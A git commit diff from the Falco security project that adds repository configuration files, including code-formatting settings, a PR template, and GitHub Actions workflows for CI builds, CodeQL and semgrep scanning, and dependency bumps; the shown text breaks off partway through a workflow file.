docs: add work partitioning section

Signed-off-by: irozzo-1A <iacopo@sysdig.com>

.circleci/OWNERS

@@ -0,0 +1,2 @@
+emeritus_approvers:
+  - jonahjon

.clang-format

@@ -0,0 +1,36 @@
+Language: Cpp
+BasedOnStyle: Google
+AccessModifierOffset: -4
+BreakBeforeBraces: Attach
+AllowAllArgumentsOnNextLine: false
+AllowAllConstructorInitializersOnNextLine: false
+AllowAllParametersOfDeclarationOnNextLine: false
+AllowShortFunctionsOnASingleLine: Inline
+AllowShortIfStatementsOnASingleLine: Never
+AllowShortLoopsOnASingleLine: false
+BinPackArguments: false
+BinPackParameters: false
+ColumnLimit: 100
+DerivePointerBinding: false
+IndentCaseLabels: false
+IndentWidth: 4
+SpaceAfterTemplateKeyword: false
+TabWidth: 4
+UseTab: ForIndentation
+BreakConstructorInitializers: AfterColon
+ConstructorInitializerIndentWidth: 8
+ContinuationIndentWidth: 8
+DerivePointerAlignment: true
+SortIncludes: Never
+SpaceBeforeCtorInitializerColon: false
+SpaceBeforeParens: Never
+InsertNewlineAtEOF: true
+---
+Language: Proto
+DisableFormat: true
+---
+Language: JavaScript
+DisableFormat: true
+---
+Language: Java
+DisableFormat: true

.clang-format-ignore

@@ -0,0 +1,3 @@
+# These files contain some JSON schema definitions that are not C++ code
+userspace/falco/config_json_schema.h
+userspace/engine/rule_json_schema.h

.cmake-format.json

@@ -0,0 +1,254 @@
+{
+	"_help_format": "Options affecting formatting.",
+	"format": {
+		"_help_disable": [
+			"Disable formatting entirely, making cmake-format a no-op"
+		],
+		"disable": false,
+		"_help_line_width": [
+			"How wide to allow formatted cmake files"
+		],
+		"line_width": 100,
+		"_help_tab_size": [
+			"How many spaces to tab for indent"
+		],
+		"tab_size": 4,
+		"_help_use_tabchars": [
+			"If true, lines are indented using tab characters (utf-8",
+			"0x09) instead of <tab_size> space characters (utf-8 0x20).",
+			"In cases where the layout would require a fractional tab",
+			"character, the behavior of the  fractional indentation is",
+			"governed by <fractional_tab_policy>"
+		],
+		"use_tabchars": true,
+		"_help_fractional_tab_policy": [
+			"If <use_tabchars> is True, then the value of this variable",
+			"indicates how fractional indentions are handled during",
+			"whitespace replacement. If set to 'use-space', fractional",
+			"indentation is left as spaces (utf-8 0x20). If set to",
+			"`round-up` fractional indentation is replaced with a single",
+			"tab character (utf-8 0x09) effectively shifting the column",
+			"to the next tabstop"
+		],
+		"fractional_tab_policy": "use-space",
+		"_help_max_subgroups_hwrap": [
+			"If an argument group contains more than this many sub-groups",
+			"(parg or kwarg groups) then force it to a vertical layout."
+		],
+		"max_subgroups_hwrap": 2,
+		"_help_max_pargs_hwrap": [
+			"If a positional argument group contains more than this many",
+			"arguments, then force it to a vertical layout."
+		],
+		"max_pargs_hwrap": 6,
+		"_help_max_rows_cmdline": [
+			"If a cmdline positional group consumes more than this many",
+			"lines without nesting, then invalidate the layout (and nest)"
+		],
+		"max_rows_cmdline": 2,
+		"_help_separate_ctrl_name_with_space": [
+			"If true, separate flow control names from their parentheses",
+			"with a space"
+		],
+		"separate_ctrl_name_with_space": false,
+		"_help_separate_fn_name_with_space": [
+			"If true, separate function names from parentheses with a",
+			"space"
+		],
+		"separate_fn_name_with_space": false,
+		"_help_dangle_parens": [
+			"If a statement is wrapped to more than one line, than dangle",
+			"the closing parenthesis on its own line."
+		],
+		"dangle_parens": true,
+		"_help_dangle_align": [
+			"If the trailing parenthesis must be 'dangled' on its on",
+			"line, then align it to this reference: `prefix`: the start",
+			"of the statement,  `prefix-indent`: the start of the",
+			"statement, plus one indentation  level, `child`: align to",
+			"the column of the arguments"
+		],
+		"dangle_align": "prefix",
+		"_help_min_prefix_chars": [
+			"If the statement spelling length (including space and",
+			"parenthesis) is smaller than this amount, then force reject",
+			"nested layouts."
+		],
+		"min_prefix_chars": 4,
+		"_help_max_prefix_chars": [
+			"If the statement spelling length (including space and",
+			"parenthesis) is larger than the tab width by more than this",
+			"amount, then force reject un-nested layouts."
+		],
+		"max_prefix_chars": 10,
+		"_help_max_lines_hwrap": [
+			"If a candidate layout is wrapped horizontally but it exceeds",
+			"this many lines, then reject the layout."
+		],
+		"max_lines_hwrap": 2,
+		"_help_line_ending": [
+			"What style line endings to use in the output."
+		],
+		"line_ending": "unix",
+		"_help_command_case": [
+			"Format command names consistently as 'lower' or 'upper' case"
+		],
+		"command_case": "canonical",
+		"_help_keyword_case": [
+			"Format keywords consistently as 'lower' or 'upper' case"
+		],
+		"keyword_case": "unchanged",
+		"_help_always_wrap": [
+			"A list of command names which should always be wrapped"
+		],
+		"always_wrap": [],
+		"_help_enable_sort": [
+			"If true, the argument lists which are known to be sortable",
+			"will be sorted lexicographicall"
+		],
+		"enable_sort": true,
+		"_help_autosort": [
+			"If true, the parsers may infer whether or not an argument",
+			"list is sortable (without annotation)."
+		],
+		"autosort": false,
+		"_help_require_valid_layout": [
+			"By default, if cmake-format cannot successfully fit",
+			"everything into the desired linewidth it will apply the",
+			"last, most agresive attempt that it made. If this flag is",
+			"True, however, cmake-format will print error, exit with non-",
+			"zero status code, and write-out nothing"
+		],
+		"require_valid_layout": false,
+		"_help_layout_passes": [
+			"A dictionary mapping layout nodes to a list of wrap",
+			"decisions. See the documentation for more information."
+		],
+		"layout_passes": {}
+	},
+	"_help_markup": "Options affecting comment reflow and formatting.",
+	"markup": {
+		"_help_bullet_char": [
+			"What character to use for bulleted lists"
+		],
+		"bullet_char": "*",
+		"_help_enum_char": [
+			"What character to use as punctuation after numerals in an",
+			"enumerated list"
+		],
+		"enum_char": ".",
+		"_help_first_comment_is_literal": [
+			"If comment markup is enabled, don't reflow the first comment",
+			"block in each listfile. Use this to preserve formatting of",
+			"your copyright/license statements."
+		],
+		"first_comment_is_literal": false,
+		"_help_literal_comment_pattern": [
+			"If comment markup is enabled, don't reflow any comment block",
+			"which matches this (regex) pattern. Default is `None`",
+			"(disabled)."
+		],
+		"literal_comment_pattern": null,
+		"_help_fence_pattern": [
+			"Regular expression to match preformat fences in comments",
+			"default= ``r'^\\s*([`~]{3}[`~]*)(.*)$'``"
+		],
+		"fence_pattern": "^\\s*([`~]{3}[`~]*)(.*)$",
+		"_help_ruler_pattern": [
+			"Regular expression to match rulers in comments default=",
+			"``r'^\\s*[^\\w\\s]{3}.*[^\\w\\s]{3}$'``"
+		],
+		"ruler_pattern": "^\\s*[^\\w\\s]{3}.*[^\\w\\s]{3}$",
+		"_help_explicit_trailing_pattern": [
+			"If a comment line matches starts with this pattern then it",
+			"is explicitly a trailing comment for the preceding",
+			"argument. Default is '#<'"
+		],
+		"explicit_trailing_pattern": "#<",
+		"_help_hashruler_min_length": [
+			"If a comment line starts with at least this many consecutive",
+			"hash characters, then don't lstrip() them off. This allows",
+			"for lazy hash rulers where the first hash char is not",
+			"separated by space"
+		],
+		"hashruler_min_length": 10,
+		"_help_canonicalize_hashrulers": [
+			"If true, then insert a space between the first hash char and",
+			"remaining hash chars in a hash ruler, and normalize its",
+			"length to fill the column"
+		],
+		"canonicalize_hashrulers": true,
+		"_help_enable_markup": [
+			"enable comment markup parsing and reflow"
+		],
+		"enable_markup": true
+	},
+	"_help_lint": "Options affecting the linter",
+	"lint": {
+		"_help_disabled_codes": [
+			"a list of lint codes to disable"
+		],
+		"disabled_codes": [],
+		"_help_function_pattern": [
+			"regular expression pattern describing valid function names"
+		],
+		"function_pattern": "[0-9a-z_]+",
+		"_help_macro_pattern": [
+			"regular expression pattern describing valid macro names"
+		],
+		"macro_pattern": "[0-9A-Z_]+",
+		"_help_global_var_pattern": [
+			"regular expression pattern describing valid names for",
+			"variables with global (cache) scope"
+		],
+		"global_var_pattern": "[A-Z][0-9A-Z_]+",
+		"_help_internal_var_pattern": [
+			"regular expression pattern describing valid names for",
+			"variables with global scope (but internal semantic)"
+		],
+		"internal_var_pattern": "_[A-Z][0-9A-Z_]+",
+		"_help_local_var_pattern": [
+			"regular expression pattern describing valid names for",
+			"variables with local scope"
+		],
+		"local_var_pattern": "[a-z][a-z0-9_]+",
+		"_help_private_var_pattern": [
+			"regular expression pattern describing valid names for",
+			"privatedirectory variables"
+		],
+		"private_var_pattern": "_[0-9a-z_]+",
+		"_help_public_var_pattern": [
+			"regular expression pattern describing valid names for public",
+			"directory variables"
+		],
+		"public_var_pattern": "[A-Z][0-9A-Z_]+",
+		"_help_argument_var_pattern": [
+			"regular expression pattern describing valid names for",
+			"function/macro arguments and loop variables."
+		],
+		"argument_var_pattern": "[a-z][a-z0-9_]+",
+		"_help_keyword_pattern": [
+			"regular expression pattern describing valid names for",
+			"keywords used in functions or macros"
+		],
+		"keyword_pattern": "[A-Z][0-9A-Z_]+",
+		"_help_max_conditionals_custom_parser": [
+			"In the heuristic for C0201, how many conditionals to match",
+			"within a loop in before considering the loop a parser."
+		],
+		"max_conditionals_custom_parser": 2,
+		"_help_min_statement_spacing": [
+			"Require at least this many newlines between statements"
+		],
+		"min_statement_spacing": 1,
+		"_help_max_statement_spacing": [
+			"Require no more than this many newlines between statements"
+		],
+		"max_statement_spacing": 2,
+		"max_returns": 6,
+		"max_branches": 12,
+		"max_arguments": 5,
+		"max_localvars": 15,
+		"max_statements": 50
+	}
+}

.codespellignore

@@ -0,0 +1,4 @@
+aks
+creat
+chage
+ro

.dockerignore

@@ -0,0 +1,3 @@
+*
+!config/
+!docker/

.git-blame-ignore-revs

@@ -0,0 +1,2 @@
+# This commit formatted the Falco code for the first time.
+50b98b30e588eadce641136da85bc94a60eb6a3d

.github/PULL_REQUEST_TEMPLATE.md

@@ -0,0 +1,76 @@
+<!--  Thanks for sending a pull request! Here are some tips for you:
+1. If this is your first time, please read our contributor guidelines in the https://github.com/falcosecurity/.github/blob/main/CONTRIBUTING.md file.
+2. Please label this pull request according to what type of issue you are addressing.
+3. Please add a release note!
+4. If the PR is unfinished while opening it specify a wip in the title before the actual title, for example, "wip: my awesome feature"
+-->
+
+**What type of PR is this?**
+
+> Uncomment one (or more) `/kind <>` lines:
+
+> /kind bug
+
+> /kind cleanup
+
+> /kind design
+
+> /kind documentation
+
+> /kind failing-test
+
+> /kind feature
+
+> /kind release
+
+<!--
+Please remove the leading whitespace before the `/kind <>` you uncommented.
+-->
+
+**Any specific area of the project related to this PR?**
+
+> Uncomment one (or more) `/area <>` lines:
+
+> /area build
+
+> /area engine
+
+> /area tests
+
+> /area proposals
+
+> /area CI
+
+<!--
+Please remove the leading whitespace before the `/area <>` you uncommented.
+-->
+
+**What this PR does / why we need it**:
+
+**Which issue(s) this PR fixes**:
+
+<!--
+Automatically closes linked issue when PR is merged.
+Usage: `Fixes #<issue number>`, or `Fixes (paste link of issue)`.
+If PR is `kind/failing-tests` or `kind/flaky-test`, please post the related issues/tests in a comment and do not use `Fixes`.
+-->
+
+Fixes #
+
+**Special notes for your reviewer**:
+
+**Does this PR introduce a user-facing change?**:
+
+<!--
+If NO, just write "NONE" in the release-note block below.
+
+If YES, a release note is required, enter your release note in the block below. 
+The convention is the same as for commit messages: https://github.com/falcosecurity/.github/blob/main/CONTRIBUTING.md#commit-convention
+If the PR introduces non-backward compatible changes, please add a line starting with "BREAKING CHANGE:" and describe what changed.
+For example, `BREAKING CHANGE: the API interface of the rule engine has changed`.
+Your note will be included in the changelog.
+-->
+
+```release-note
+
+```

.github/dependabot.yml

@@ -0,0 +1,24 @@
+#
+# Copyright (C) 2023 The Falco Authors.
+#
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+version: 2
+
+updates:
+  - package-ecosystem: gitsubmodule
+    schedule:
+      interval: "daily"
+    directory: /

.github/release_template.md

@@ -0,0 +1,21 @@
+[![LIBS](https://img.shields.io/badge/LIBS-LIBSVER-yellow)](https://github.com/falcosecurity/libs/releases/tag/LIBSVER)
+[![DRIVER](https://img.shields.io/badge/DRIVER-DRIVERVER-yellow)](https://github.com/falcosecurity/libs/releases/tag/DRIVERVER)
+
+| Packages | Download                                                                                                                                               |
+| -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| rpm-x86_64      | [![rpm](https://img.shields.io/badge/Falco-FALCOVER-%2300aec7?style=flat-square)](https://download.falco.org/packages/rpmFALCOBUCKET/falco-FALCOVER-x86_64.rpm)        |
+| deb-x86_64      | [![deb](https://img.shields.io/badge/Falco-FALCOVER-%2300aec7?style=flat-square)](https://download.falco.org/packages/debFALCOBUCKET/stable/falco-FALCOVER-x86_64.deb) |
+| tgz-x86_64      | [![tgz](https://img.shields.io/badge/Falco-FALCOVER-%2300aec7?style=flat-square)](https://download.falco.org/packages/binFALCOBUCKET/x86_64/falco-FALCOVER-x86_64.tar.gz) |
+| tgz-static-x86_64      | [![tgz-static](https://img.shields.io/badge/Falco-FALCOVER-%2300aec7?style=flat-square)](https://download.falco.org/packages/binFALCOBUCKET/x86_64/falco-FALCOVER-static-x86_64.tar.gz) |
+| rpm-aarch64      | [![rpm](https://img.shields.io/badge/Falco-FALCOVER-%2300aec7?style=flat-square)](https://download.falco.org/packages/rpmFALCOBUCKET/falco-FALCOVER-aarch64.rpm)        |
+| deb-aarch64      | [![deb](https://img.shields.io/badge/Falco-FALCOVER-%2300aec7?style=flat-square)](https://download.falco.org/packages/debFALCOBUCKET/stable/falco-FALCOVER-aarch64.deb) |
+| tgz-aarch64      | [![tgz](https://img.shields.io/badge/Falco-FALCOVER-%2300aec7?style=flat-square)](https://download.falco.org/packages/binFALCOBUCKET/aarch64/falco-FALCOVER-aarch64.tar.gz) |
+
+| Images                                                                    |
+|---------------------------------------------------------------------------|
+| `docker pull docker.io/falcosecurity/falco:FALCOVER`                      |
+| `docker pull public.ecr.aws/falcosecurity/falco:FALCOVER`                 |
+| `docker pull docker.io/falcosecurity/falco-driver-loader:FALCOVER`        |
+| `docker pull docker.io/falcosecurity/falco-driver-loader:FALCOVER-buster` |
+| `docker pull docker.io/falcosecurity/falco:FALCOVER-debian`               |
+

.github/workflows/bump-libs.yaml

@@ -0,0 +1,66 @@
+---
+name: Bump Libs
+
+on:
+  workflow_dispatch:
+  schedule:
+    - cron: '30 6 * * 1' # on each monday 6:30
+
+permissions:
+  contents: read
+
+# Checks if any concurrent jobs is running for kernels CI and eventually cancel it.
+concurrency:
+  group: bump-libs-ci
+  cancel-in-progress: true
+
+jobs:
+  bump-libs:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: write
+      pull-requests: write
+    steps:
+      - name: Download libs master tar.gz
+        run: |
+          wget https://github.com/falcosecurity/libs/archive/refs/heads/master.tar.gz
+
+      - name: Store libs hash and shasum
+        id: store
+        run: |
+          gunzip -c master.tar.gz > master.tar
+          commit=$(cat master.tar | git get-tar-commit-id)
+          echo "COMMIT=$commit" >> "$GITHUB_OUTPUT"
+          wget https://github.com/falcosecurity/libs/archive/$commit.tar.gz
+          echo "SHASUM=$(sha256sum $commit.tar.gz | awk '{print $1}')" >> "$GITHUB_OUTPUT"
+
+      - name: Checkout
+        uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
+        with:
+          path: falco
+
+      - name: Bump libs version and hash
+        run: |
+          cd falco
+          sed -i -E '45s/FALCOSECURITY_LIBS_VERSION "(.+)"/FALCOSECURITY_LIBS_VERSION "${{ steps.store.outputs.COMMIT }}"/' cmake/modules/falcosecurity-libs.cmake
+          sed -i -E '47s/"SHA256=(.+)"/"SHA256=${{ steps.store.outputs.SHASUM }}"/' cmake/modules/falcosecurity-libs.cmake
+          sed -i -E '38s/DRIVER_VERSION "(.+)"/DRIVER_VERSION "${{ steps.store.outputs.COMMIT }}"/' cmake/modules/driver.cmake
+          sed -i -E '40s/"SHA256=(.+)"/"SHA256=${{ steps.store.outputs.SHASUM }}"/' cmake/modules/driver.cmake
+
+      - name: Create Pull Request
+        uses: peter-evans/create-pull-request@5e914681df9dc83aa4e4905692ca88beb2f9e91f # v7.0.5
+        with:
+          path: falco
+          signoff: true
+          base: master
+          branch: update/libs
+          title: 'update(cmake): update libs and driver to latest master'
+          body: |
+            This PR updates libs and driver to latest commit.
+            /kind release
+            /area build
+            ```release-note
+            NONE
+            ```
+          commit-message: 'update(cmake): update libs and driver to latest master.'
+          token: ${{ secrets.GITHUB_TOKEN }}	  

.github/workflows/ci.yml

@@ -0,0 +1,157 @@
+name: CI Build
+on:
+  pull_request:
+    branches:
+      - master
+      - release/*
+  workflow_dispatch:
+
+# Checks if any concurrent jobs under the same pull request or branch are being executed
+# NOTE: this will cancel every workflow that is being ran against a PR as group is just the github ref (without the workflow name)
+concurrency:
+  group: ${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true  
+
+permissions:  
+  contents: read
+  
+jobs:
+  fetch-version:
+    uses: ./.github/workflows/reusable_fetch_version.yaml
+
+  build-dev-packages-x86_64:
+    needs: [fetch-version]
+    uses: ./.github/workflows/reusable_build_packages.yaml
+    with:
+      arch: x86_64
+      version: ${{ needs.fetch-version.outputs.version }}
+      enable_debug: true
+      enable_sanitizers: true
+      use_mimalloc: true
+
+  build-dev-packages-arm64:
+    needs: [fetch-version]
+    uses: ./.github/workflows/reusable_build_packages.yaml
+    with:
+      arch: aarch64
+      version: ${{ needs.fetch-version.outputs.version }}
+      enable_debug: true
+      use_mimalloc: true
+
+  test-dev-packages:
+    needs: [fetch-version, build-dev-packages-x86_64]
+    uses: ./.github/workflows/reusable_test_packages.yaml
+    # See https://github.com/falcosecurity/falco/pull/3482
+    # Since musl build does not support dynamically loaded plugins,
+    # many tests would fail (the ones using `container.foo` fields).
+    # Disable tests on static builds for now.
+#    strategy:
+#      fail-fast: false
+#      matrix:
+#        static: ["static", ""]
+    with:
+      arch: x86_64
+#      sanitizers: ${{ matrix.static == '' && true || false }}
+      sanitizers: true
+#      static: ${{ matrix.static != '' && true || false }}
+      version: ${{ needs.fetch-version.outputs.version }}
+
+  test-dev-packages-arm64:
+    needs: [fetch-version, build-dev-packages-arm64]
+    uses: ./.github/workflows/reusable_test_packages.yaml
+    with:
+      arch: aarch64
+      version: ${{ needs.fetch-version.outputs.version }}
+
+  build-dev-minimal:
+    uses: ./.github/workflows/reusable_build_dev.yaml
+    with:
+      arch: x86_64
+      git_ref: ${{ github.event.pull_request.head.sha }}
+      minimal: true
+      build_type: Debug
+
+  build-dev-minimal-arm64:
+    uses: ./.github/workflows/reusable_build_dev.yaml
+    with:
+      arch: aarch64
+      git_ref: ${{ github.event.pull_request.head.sha }}
+      minimal: true
+      build_type: Debug
+
+  # builds using system deps, checking out the PR's code
+  # note: this also runs a command that generates an output of form: "<engine_version> <some_hash>",
+  # of which <some_hash> is computed by hashing in order the following:
+  # - Driver schema version supported by the built-in falcosecurity/libs
+  # - The supported event types usable in Falco rules (evt.type=xxx)
+  # - The supported rules fields with their name, type, and description
+  build-dev:
+    uses: ./.github/workflows/reusable_build_dev.yaml
+    with:
+      arch: x86_64
+      git_ref: ${{ github.event.pull_request.head.sha }}
+      minimal: false
+      sanitizers: true
+      build_type: Debug
+      cmd: "echo $(build/userspace/falco/falco -c ./falco.yaml --version | grep 'Engine:' | awk '{print $2}') $(echo $(build/userspace/falco/falco -c ./falco.yaml --version | grep 'Schema version:' | awk '{print $3}') $(build/userspace/falco/falco -c ./falco.yaml --list --markdown | grep '^`' | sort) $(build/userspace/falco/falco -c ./falco.yaml --list-events | sort) | sha256sum)"
+
+  # checks the falco engine checksum for consistency
+  check-engine-checksum:
+    runs-on: ubuntu-latest
+    needs: [build-dev]
+    steps:    
+      - name: Checkout PR head ref
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+        with:
+          fetch-depth: 0
+          ref: ${{ github.event.pull_request.head.sha }}
+
+      - name: Check Engine checksum
+        run: |
+          prev_hash=$(grep CHECKSUM "./userspace/engine/falco_engine_version.h" | awk '{print $3}' | sed -e 's/"//g')
+          cur_hash=$(echo "${{ needs.build-dev.outputs.cmdout }}" | cut -d ' ' -f 2)
+          
+          echo "encoded checksum: $prev_hash"
+          echo "current checksum: $cur_hash"
+          if [ $prev_hash != $cur_hash ]; then
+            echo "current engine checksum differs from the one encoded in userspace/engine/falco_engine_version.h"
+            exit 1
+          else
+            echo "current and encoded engine checksum are matching"
+          fi
+
+  # checks the falco engine version and enforce bumping when necessary
+  check-engine-version:
+    runs-on: ubuntu-latest
+    needs: [build-dev]
+    steps:    
+      - name: Checkout base ref
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+        with:
+          fetch-depth: 0
+          ref: ${{ github.base_ref }}
+
+      - name: Check Engine version
+        run: |
+          base_hash=$(grep CHECKSUM "./userspace/engine/falco_engine_version.h" | awk '{print $3}' | sed -e 's/"//g')
+          base_engine_ver_major=$(grep ENGINE_VERSION_MAJOR "./userspace/engine/falco_engine_version.h" | head -n 1 | awk '{print $3}' | sed -e 's/(//g' -e 's/)//g')
+          base_engine_ver_minor=$(grep ENGINE_VERSION_MINOR "./userspace/engine/falco_engine_version.h" | head -n 1 | awk '{print $3}' | sed -e 's/(//g' -e 's/)//g')
+          base_engine_ver_patch=$(grep ENGINE_VERSION_PATCH "./userspace/engine/falco_engine_version.h" | head -n 1 | awk '{print $3}' | sed -e 's/(//g' -e 's/)//g')
+          base_engine_ver="${base_engine_ver_major}.${base_engine_ver_minor}.${base_engine_ver_patch}"
+
+          cur_hash=$(echo "${{ needs.build-dev.outputs.cmdout }}" | cut -d ' ' -f 2)
+          cur_engine_ver=$(echo "${{ needs.build-dev.outputs.cmdout }}" | cut -d ' ' -f 1)
+
+          echo "baseref checksum: $base_hash"
+          echo "baseref engine version: $base_engine_ver"
+          echo "headref checksum: $cur_hash"
+          echo "headref engine version: $cur_engine_ver"
+          if [ "$base_hash" != "$cur_hash" ]; then
+              echo "engine checksum for baseref and headref differ"
+              if [ "$base_engine_ver" == "$cur_engine_ver" ]; then
+                  echo "engine version must be bumped"
+                  exit 1
+              else
+                  echo "engine version for baseref and headref differ too, so no bump is required"
+              fi
+          fi

.github/workflows/codeql.yaml

@@ -0,0 +1,73 @@
+# For most projects, this workflow file will not need changing; you simply need
+# to commit it to your repository.
+#
+# You may wish to alter this file to override the set of languages analyzed,
+# or to provide custom queries or build logic.
+#
+# ******** NOTE ********
+# We have attempted to detect the languages in your repository. Please check
+# the `language` matrix defined below to confirm you have the correct set of
+# supported CodeQL languages.
+#
+name: "CodeQL"
+
+on:
+  push:
+    branches: [ "master" ]
+  pull_request:
+    # The branches below must be a subset of the branches above
+    branches: [ "master" ]
+
+permissions:  
+  contents: read
+
+jobs:
+  analyze:
+    name: Analyze
+    runs-on: ubuntu-22.04
+    permissions:
+      actions: read
+      contents: read
+      security-events: write
+
+    strategy:
+      fail-fast: false
+      matrix:
+        language: [ 'cpp' ]
+        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]
+        # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support
+
+    steps:
+    - name: Checkout repository
+      uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+      with:
+        fetch-depth: 0
+
+    # Initializes the CodeQL tools for scanning.
+    - name: Initialize CodeQL
+      uses: github/codeql-action/init@47b3d888fe66b639e431abf22ebca059152f1eea # v3.24.5
+      with:
+        languages: ${{ matrix.language }}
+        # If you wish to specify custom queries, you can do so here or in a config file.
+        # By default, queries listed here will override any specified in a config file.
+        # Prefix the list here with "+" to use these queries and those in the config file.
+
+        # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
+        # queries: security-extended,security-and-quality
+
+    - name: Update base image
+      run: sudo apt update -y
+
+    - name: Install build dependencies
+      run: sudo DEBIAN_FRONTEND=noninteractive apt install libssl-dev libc-ares-dev libyaml-cpp-dev rpm libelf-dev cmake build-essential libcurl4-openssl-dev linux-headers-$(uname -r) clang llvm git -y
+
+    - name: Prepare project
+      run: |
+          cmake -B build -S . -DBUILD_FALCO_MODERN_BPF=Off -DUSE_BUNDLED_DEPS=Off -DUSE_BUNDLED_NLOHMANN_JSON=On -DUSE_BUNDLED_CXXOPTS=On -DUSE_BUNDLED_CPPHTTPLIB=On
+
+    - name: Build
+      run: |
+          KERNELDIR=/lib/modules/$(uname -r)/build cmake --build build -j4
+
+    - name: Perform CodeQL Analysis
+      uses: github/codeql-action/analyze@47b3d888fe66b639e431abf22ebca059152f1eea # v3.24.5

.github/workflows/codespell.yml

@@ -0,0 +1,18 @@
+name: Codespell
+on:
+  pull_request:
+    
+permissions:  
+  contents: read
+
+jobs:
+  codespell:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+    - uses: codespell-project/actions-codespell@94259cd8be02ad2903ba34a22d9c13de21a74461 # v2.0
+      with:
+        skip: .git
+        ignore_words_file: .codespellignore
+        check_filenames: true
+        check_hidden: false

.github/workflows/engine-version-weakcheck.yaml

@@ -0,0 +1,44 @@
+# NOTE: it is UNSAFE to run ANY kind of script when using the pull_request_target trigger!
+# DO NOT TOUCH THIS FILE UNLESS THE TRIGGER IS CHANGED.
+# See warning in https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target.
+
+name: Engine version checks (weak)
+on:
+  pull_request_target:
+    paths:
+      - 'userspace/engine/*.cpp'
+      - 'userspace/engine/*.h'
+
+permissions:  
+  contents: read
+
+jobs:
+  paths-filter:
+    runs-on: ubuntu-latest
+    outputs:
+      engine_version_changed: ${{ steps.filter.outputs.engine_version }}
+    steps:
+    - uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+    - uses: dorny/paths-filter@4512585405083f25c027a35db413c2b3b9006d50 # v2.11.1
+      id: filter
+      with:
+        filters: |
+          engine_version:
+            - 'userspace/engine/falco_engine_version.h'
+
+  check-engine-version-weak:
+    runs-on: ubuntu-22.04
+    permissions:
+      pull-requests: write
+    needs: paths-filter
+    if: needs.paths-filter.outputs.engine_version_changed == 'false'
+    steps:
+      - name: Check driver Falco engine version
+        uses: mshick/add-pr-comment@7c0890544fb33b0bdd2e59467fbacb62e028a096 # v2.8.1
+        with:
+          message: |
+            This PR may bring feature or behavior changes in the Falco engine and may require the engine version to be bumped.
+
+            Please double check **userspace/engine/falco_engine_version.h** file. See [versioning for FALCO_ENGINE_VERSION](https://github.com/falcosecurity/falco/blob/master/RELEASE.md#falco-repo-this-repo).
+
+            /hold

.github/workflows/format.yaml

@@ -0,0 +1,41 @@
+name: Format code
+on:
+  pull_request:
+  push:
+    branches:
+      - master
+      - "release/**"
+
+permissions:
+  contents: read
+
+jobs:
+  format:
+    name: format code 🐲
+    runs-on: ubuntu-22.04
+    steps:
+      - name: Checkout repository 🎉
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+        with:
+          fetch-depth: 0
+
+      - name: Install deps ⛓️
+        run: |
+          sudo apt update -y
+          sudo apt install -y --no-install-recommends ca-certificates pip git
+          pip install pre-commit
+
+      - name: Run pre-commit ©️
+        run: |
+          pre-commit run --all-files
+
+      - name: Generate the git-diff 🚒
+        if: failure()
+        run: git diff > format_diff.patch
+
+      - name: Upload the git diff artifact 📦
+        if: failure()
+        uses: actions/upload-artifact@65c4c4a1ddee5b72f698fdd19549f0f0fb45cf08 # v4.6.0
+        with:
+          name: format_diff.patch
+          path: ./format_diff.patch

.github/workflows/insecure-api.yaml

@@ -0,0 +1,29 @@
+name: Insecure API check
+on:
+  pull_request:
+    branches:
+      - master
+      - 'release/**'
+      - 'maintainers/**'
+
+permissions:  
+  contents: read
+
+jobs:
+  insecure-api:
+    name: check-insecure-api
+    runs-on: ubuntu-latest
+    container:
+      image: semgrep/semgrep:1.85.0@sha256:b4c2272e0a2e59ca551ff96d3bbae657bd2b7356e339af557b27a96d9e751544
+    steps:
+      - name: Checkout Falco ⤵️
+        uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.0
+        with:
+          fetch-depth: 0
+      - name: Scan PR for insecure API usage 🕵️
+        run: |
+          semgrep scan \
+            --error \
+            --metrics=off \
+            --baseline-commit ${{ github.event.pull_request.base.sha }} \
+            --config=./semgrep

.github/workflows/master.yaml

@@ -0,0 +1,90 @@
+name: Dev Packages and Docker images
+on:
+  push:
+    branches: [master]
+
+permissions:
+  contents: read
+
+# Checks if any concurrent jobs is running for master CI and eventually cancel it
+concurrency:
+  group: ci-master
+  cancel-in-progress: true
+
+jobs:
+  fetch-version:
+    uses: ./.github/workflows/reusable_fetch_version.yaml 
+
+  build-dev-packages:
+    needs: [fetch-version]
+    uses: ./.github/workflows/reusable_build_packages.yaml
+    with:
+      arch: x86_64
+      version: ${{ needs.fetch-version.outputs.version }}
+    secrets: inherit
+  
+  build-dev-packages-arm64:
+    needs: [fetch-version]
+    uses: ./.github/workflows/reusable_build_packages.yaml
+    with:
+      arch: aarch64
+      version: ${{ needs.fetch-version.outputs.version }}
+    secrets: inherit
+
+  test-dev-packages:
+    needs: [fetch-version, build-dev-packages]
+    uses: ./.github/workflows/reusable_test_packages.yaml
+    # See https://github.com/falcosecurity/falco/pull/3482
+    # Since musl build does not support dynamically loaded plugins,
+    # many tests would fail (the ones using `container.foo` fields).
+    # Disable tests on static builds for now.
+#    strategy:
+#      fail-fast: false
+#      matrix:
+#        static: ["static", ""]
+    with:
+      arch: x86_64
